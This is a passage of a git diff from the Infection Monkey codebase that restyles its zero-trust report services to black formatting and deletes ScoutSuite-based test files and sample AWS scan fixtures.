encryptor.enc(key_value) + encrypted_key = get_encryptor().enc(key_value) ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) def get_aws_keys(): - return {'access_key_id': _get_aws_key('aws_access_key_id'), - 'secret_access_key': _get_aws_key('aws_secret_access_key'), - 'session_token': _get_aws_key('aws_session_token')} + return { + "access_key_id": _get_aws_key("aws_access_key_id"), + "secret_access_key": _get_aws_key("aws_secret_access_key"), + "session_token": _get_aws_key("aws_session_token"), + } def _get_aws_key(key_type: str): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py index 3b76194af..a97a1a2c8 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py @@ -3,22 +3,21 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts class ScoutSuiteRuleService: - @staticmethod def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: rule = ScoutSuiteRule() - rule.description = rule_data['description'] - rule.path = rule_data['path'] - rule.level = rule_data['level'] - rule.items = rule_data['items'] - rule.dashboard_name = rule_data['dashboard_name'] - rule.checked_items = rule_data['checked_items'] - rule.flagged_items = rule_data['flagged_items'] - rule.service = rule_data['service'] - rule.rationale = rule_data['rationale'] - rule.remediation = rule_data['remediation'] - rule.compliance = rule_data['compliance'] - rule.references = rule_data['references'] + rule.description = rule_data["description"] + rule.path = rule_data["path"] + rule.level = rule_data["level"] + rule.items = rule_data["items"] + rule.dashboard_name = rule_data["dashboard_name"] + rule.checked_items = rule_data["checked_items"] + rule.flagged_items = rule_data["flagged_items"] + rule.service = rule_data["service"] + rule.rationale = rule_data["rationale"] + rule.remediation = rule_data["remediation"] + rule.compliance = rule_data["compliance"] + rule.references = rule_data["references"] return rule @staticmethod diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index 63befc808..3d0cf8413 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -4,16 +4,21 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ScoutSuiteFindingMap -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( + ScoutSuiteFindingMap, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) class ScoutSuiteZTFindingService: - @staticmethod def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): existing_findings = ScoutSuiteFinding.objects(test=finding.test) - assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) + assert len(existing_findings) < 2, "More than one finding exists for {}".format( + finding.test + ) if len(existing_findings) == 0: ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) @@ -49,17 +54,28 @@ class ScoutSuiteZTFindingService: def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status - new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status) + new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( + finding_status, rule_status + ) if finding_status != new_finding_status: finding.status = new_finding_status @staticmethod def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: - if finding_status == zero_trust_consts.STATUS_FAILED or rule_status == zero_trust_consts.STATUS_FAILED: + if ( + finding_status == zero_trust_consts.STATUS_FAILED + or rule_status == zero_trust_consts.STATUS_FAILED + ): return zero_trust_consts.STATUS_FAILED - elif finding_status == zero_trust_consts.STATUS_VERIFY or rule_status == zero_trust_consts.STATUS_VERIFY: + elif ( + finding_status == zero_trust_consts.STATUS_VERIFY + or rule_status == zero_trust_consts.STATUS_VERIFY + ): return zero_trust_consts.STATUS_VERIFY - elif finding_status == zero_trust_consts.STATUS_PASSED or rule_status == zero_trust_consts.STATUS_PASSED: + elif ( + finding_status == zero_trust_consts.STATUS_PASSED + or rule_status == zero_trust_consts.STATUS_PASSED + ): return zero_trust_consts.STATUS_PASSED else: return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py deleted file mode 100644 index e08c8a290..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ /dev/null @@ -1,54 +0,0 @@ -from copy import deepcopy - -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import RULE_LEVEL_WARNING, RULE_LEVEL_DANGER -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES - -example_scoutsuite_data = { - 'checked_items': 179, - 'compliance': None, - 'dashboard_name': 'Rules', - 'description': 'Security Group Opens All Ports to All', - 'flagged_items': 2, - 'items': [ - 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' - ], - 'level': 'danger', - 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'rationale': 'It was detected that all ports in the security group are open, and any source IP address' - ' could send traffic to these ports, which creates a wider attack surface for resources ' - 'assigned to it. Open ports should be reduced to the minimum needed to correctly', - 'references': [], - 'remediation': None, - 'service': 'EC2' -} - - -def test_get_rule_from_rule_data(): - assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] - - -def test_is_rule_dangerous(): - test_rule = deepcopy(RULES[0]) - assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_DANGER - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - -def test_is_rule_warning(): - test_rule = deepcopy(RULES[0]) - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py deleted file mode 100644 index aaea95031..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ /dev/null @@ -1,23 +0,0 @@ -from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ - TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto - - -def get_scoutsuite_finding_dto() -> Finding: - scoutsuite_details = get_scoutsuite_details_dto() - scoutsuite_details.save() - return ScoutSuiteFinding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, - status=STATUS_FAILED, - details=scoutsuite_details) - - -def get_monkey_finding_dto() -> Finding: - monkey_details = get_monkey_details_dto() - monkey_details.save() - return MonkeyFinding(test=TEST_ENDPOINT_SECURITY_EXISTS, - status=STATUS_PASSED, - details=monkey_details) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py deleted file mode 100644 index 317697632..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py +++ /dev/null @@ -1,93 +0,0 @@ -# This is what our codebase receives after running ScoutSuite module. -# Object '...': {'...': '...'} represents continuation of similar objects as above -RAW_SCOUTSUITE_DATA = { - 'sg_map': { - 'sg-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - 'sg-abcd': {'region': 'ap-northeast-2', 'vpc_id': 'vpc-abc'}, - '...': {'...': '...'}}, - 'subnet_map': { - 'subnet-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - 'subnet-abcd': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, - '...': {'...': '...'} - }, - 'provider_code': 'aws', - 'provider_name': 'Amazon Web Services', - 'environment': None, - 'result_format': 'json', - 'partition': 'aws', - 'account_id': '125686982355', - 'last_run': { - 'time': '2021-02-05 16:03:04+0200', - 'run_parameters': {'services': [], 'skipped_services': [], 'regions': [], 'excluded_regions': []}, - 'version': '5.10.0', - 'ruleset_name': 'default', - 'ruleset_about': 'This ruleset', - 'summary': {'ec2': {'checked_items': 3747, 'flagged_items': 262, 'max_level': 'warning', 'rules_count': 28, - 'resources_count': 176}, - 's3': {'checked_items': 88, 'flagged_items': 25, 'max_level': 'danger', 'rules_count': 18, - 'resources_count': 5}, - '...': {'...': '...'}}}, - 'metadata': { - 'compute': { - 'summaries': {'external attack surface': {'cols': 1, - 'path': 'service_groups.compute.summaries.external_attack_surface', - 'callbacks': [ - ['merge', {'attribute': 'external_attack_surface'}]]}}, - '...': {'...': '...'} - }, - '...': {'...': '...'} - }, - - # This is the important part, which we parse to get resources - 'services': { - 'ec2': {'regions': { - 'ap-northeast-1': { - 'vpcs': { - 'vpc-abc': { - 'id': 'vpc-abc', - 'security_groups': { - 'sg-abc': { - 'name': 'default', - 'rules': { - 'ingress': {'protocols': { - 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, - 'count': 1}, - 'egress': {'protocols': { - 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, - 'count': 1}} - } - }}}, - '...': {'...': '...'} - }}, - # Interesting info, maybe could be used somewhere in the report - 'external_attack_surface': { - '52.52.52.52': {'protocols': {'TCP': {'ports': {'22': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, - 'InstanceName': 'InstanceName', - 'PublicDnsName': 'ec2-52-52-52-52.eu-central-1.compute.amazonaws.com'}}, - # We parse these into ScoutSuite security rules - 'findings': { - 'ec2-security-group-opens-all-ports-to-all': { - 'description': 'Security Group Opens All Ports to All', - 'path': 'ec2.regions.id.vpcs.id.security_groups' - '.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'level': 'danger', - 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', - 'items': [ - 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups' - '.sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], - 'dashboard_name': 'Rules', - 'checked_items': 179, - 'flagged_items': 2, - 'service': 'EC2', - 'rationale': 'It was detected that all ports in the security group are open <...>', - 'remediation': None, 'compliance': None, 'references': None}, - '...': {'...': '...'} - } - }, - '...': {'...': '...'} - }, - 'service_list': ['acm', 'awslambda', 'cloudformation', 'cloudtrail', 'cloudwatch', 'config', 'directconnect', - 'dynamodb', 'ec2', 'efs', 'elasticache', 'elb', 'elbv2', 'emr', 'iam', 'kms', 'rds', 'redshift', - 'route53', 's3', 'ses', 'sns', 'sqs', 'vpc', 'secretsmanager'], - 'service_groups': {'...': {'...': '...'}} -} diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py deleted file mode 100644 index fb9722ca2..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ /dev/null @@ -1,75 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, \ - UnencryptedData - -SCOUTSUITE_FINDINGS = [ - PermissiveFirewallRules, - UnencryptedData -] - -RULES = [ - ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name='Rules', - description='Security Group Opens All Ports to All', - flagged_items=2, - items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' - ], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='It was detected that all ports in the security group are open, and any source IP address' - ' could send traffic to these ports, which creates a wider attack surface for resources ' - 'assigned to it. Open ports should be reduced to the minimum needed to correctly', - references=[], - remediation=None, - service='EC2' - ), - ScoutSuiteRule( - checked_items=179, - compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], - dashboard_name='Rules', - description='Security Group Opens RDP Port to All', - flagged_items=7, - items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='The security group was found to be exposing a well-known port to all source addresses.' - ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' - 'of sensitive services exposed to Internet. If such services need to be expos', - references=[], - remediation='Remove the inbound rules that expose open ports', - service='EC2' - ) -] - - -def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: - scoutsuite_details = ScoutSuiteFindingDetails() - scoutsuite_details.scoutsuite_rules.append(RULES[0]) - scoutsuite_details.scoutsuite_rules.append(RULES[1]) - return scoutsuite_details diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index 5b69d6ad9..cf65819df 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -8,7 +8,9 @@ from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) @dataclass @@ -22,7 +24,6 @@ class EnrichedFinding: class FindingService: - @staticmethod def get_all_findings_from_db() -> List[Finding]: return list(Finding.objects) @@ -39,14 +40,14 @@ class FindingService: @staticmethod def _get_enriched_finding(finding: Finding) -> EnrichedFinding: - test_info = zero_trust_consts.TESTS_MAP[finding['test']] + test_info = zero_trust_consts.TESTS_MAP[finding["test"]] enriched_finding = EnrichedFinding( - finding_id=str(finding['_id']), - test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], - test_key=finding['test'], + finding_id=str(finding["_id"]), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding["status"]], + test_key=finding["test"], pillars=test_info[zero_trust_consts.PILLARS_KEY], - status=finding['status'], - details=None + status=finding["status"], + details=None, ) return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index 4f9c067f6..fda738c45 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -3,12 +3,13 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service impo class PillarService: - @staticmethod def get_pillar_report_data(): - return {"statusesToPillars": PillarService._get_statuses_to_pillars(), - "pillarsToStatuses": PillarService._get_pillars_to_statuses(), - "grades": PillarService._get_pillars_grades()} + return { + "statusesToPillars": PillarService._get_statuses_to_pillars(), + "pillarsToStatuses": PillarService._get_pillars_to_statuses(), + "grades": PillarService._get_pillars_grades(), + } @staticmethod def _get_pillars_grades(): @@ -25,7 +26,7 @@ class PillarService: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0 + zero_trust_consts.STATUS_UNEXECUTED: 0, } tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] @@ -40,7 +41,9 @@ class PillarService: if pillar in test_info[zero_trust_consts.PILLARS_KEY]: pillar_grade[finding.status] += 1 - pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True) + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count( + True + ) return pillar_grade @@ -50,7 +53,7 @@ class PillarService: zero_trust_consts.STATUS_FAILED: [], zero_trust_consts.STATUS_VERIFY: [], zero_trust_consts.STATUS_PASSED: [], - zero_trust_consts.STATUS_UNEXECUTED: [] + zero_trust_consts.STATUS_UNEXECUTED: [], } for pillar in zero_trust_consts.PILLARS: results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py index 006cb053e..3fdc4aee1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -3,7 +3,6 @@ from monkey_island.cc.models.zero_trust.finding import Finding class PrincipleService: - @staticmethod def get_principles_status(): all_principles_statuses = {} @@ -18,7 +17,7 @@ class PrincipleService: { "principle": zero_trust_consts.PRINCIPLES[principle], "tests": PrincipleService.__get_tests_status(principle_tests), - "status": PrincipleService.__get_principle_status(principle_tests) + "status": PrincipleService.__get_principle_status(principle_tests), } ) @@ -29,11 +28,12 @@ class PrincipleService: worst_status = zero_trust_consts.STATUS_UNEXECUTED all_statuses = set() for test in principle_tests: - all_statuses |= set(Finding.objects(test=test).distinct('status')) + all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index( + status + ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status return worst_status @@ -45,8 +45,10 @@ class PrincipleService: test_findings = Finding.objects(test=test) results.append( { - "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], - "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings) + "test": zero_trust_consts.TESTS_MAP[test][ + zero_trust_consts.TEST_EXPLANATION_KEY + ], + "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings), } ) return results @@ -54,14 +56,16 @@ class PrincipleService: @staticmethod def __get_lcd_worst_status_for_test(all_findings_for_test): """ - :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :param all_findings_for_test: All findings of a specific test (get this using + Finding.objects(test={A_TEST})) :return: the "worst" (i.e. most severe) status out of the given findings. lcd stands for lowest common denominator. """ current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index( + finding.status + ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status return current_worst_status diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py deleted file mode 100644 index 917678ed8..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py +++ /dev/null @@ -1,57 +0,0 @@ -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ - get_scoutsuite_finding_dto - - -def save_example_findings(): - # devices passed = 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED) - # devices passed = 2 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED) - # devices failed = 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_FAILED) - # people verify = 1 - # networks verify = 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCHEDULED_EXECUTION, - zero_trust_consts.STATUS_VERIFY) - # people verify = 2 - # networks verify = 2 - _save_finding_with_status('monkey', zero_trust_consts.TEST_SCHEDULED_EXECUTION, - zero_trust_consts.STATUS_VERIFY) - # data failed 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) - # data failed 2 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED) - # data failed 3 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) - # data failed 4 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) - # data failed 5 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED) - # data verify 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_VERIFY) - # data verify 2 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_VERIFY) - # data passed 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED) - - -def _save_finding_with_status(finding_type: str, test: str, status: str): - if finding_type == 'scoutsuite': - finding = get_scoutsuite_finding_dto() - else: - finding = get_monkey_finding_dto() - finding.test = test - finding.status = status - finding.save() diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py deleted file mode 100644 index 9d832e106..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ /dev/null @@ -1,47 +0,0 @@ -from unittest.mock import MagicMock - -import pytest - -from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ - DEVICES, NETWORKS, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, \ - get_monkey_finding_dto -from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding -from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum - - -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) -def test_get_all_findings(): - get_scoutsuite_finding_dto().save() - get_monkey_finding_dto().save() - - # This method fails due to mongomock not being able to simulate $unset, so don't test details - MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) - - findings = FindingService.get_all_findings_for_ui() - - description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED] - expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None) - - description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED] - expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None) - - # Don't test details - details = [] - for finding in findings: - details.append(finding.details) - finding.details = None - - assert findings[0] == expected_finding0 - assert findings[1] == expected_finding1 diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py deleted file mode 100644 index fd2502f59..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ /dev/null @@ -1,94 +0,0 @@ -import pytest - -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ - get_scoutsuite_finding_dto -from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService -from monkey_island.cc.test_common.fixtures import FixtureEnum - - -EXPECTED_DICT = { - 'test_pillar1': [ - { - "principle": 'Test principle description2', - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test2" - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": "You ran a test3" - } - ] - } - ], - 'test_pillar2': [ - { - "principle": "Test principle description", - "status": zero_trust_consts.STATUS_PASSED, - "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test1" - } - ] - }, - { - "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_PASSED, - "test": "You ran a test2" - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": "You ran a test3" - }, - ] - } - ] -} - - -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) -def test_get_principles_status(): - TEST_PILLAR1 = 'test_pillar1' - TEST_PILLAR2 = 'test_pillar2' - zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) - - principles_to_tests = {'network_policies': ['segmentation'], - 'endpoint_security': ['tunneling', 'scoutsuite_service_security']} - zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests - - principles_to_pillars = {'network_policies': {'test_pillar2'}, - 'endpoint_security': {'test_pillar1', 'test_pillar2'}} - zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars - - principles = {'network_policies': 'Test principle description', 'endpoint_security': 'Test principle description2'} - zero_trust_consts.PRINCIPLES = principles - - tests_map = {'segmentation': 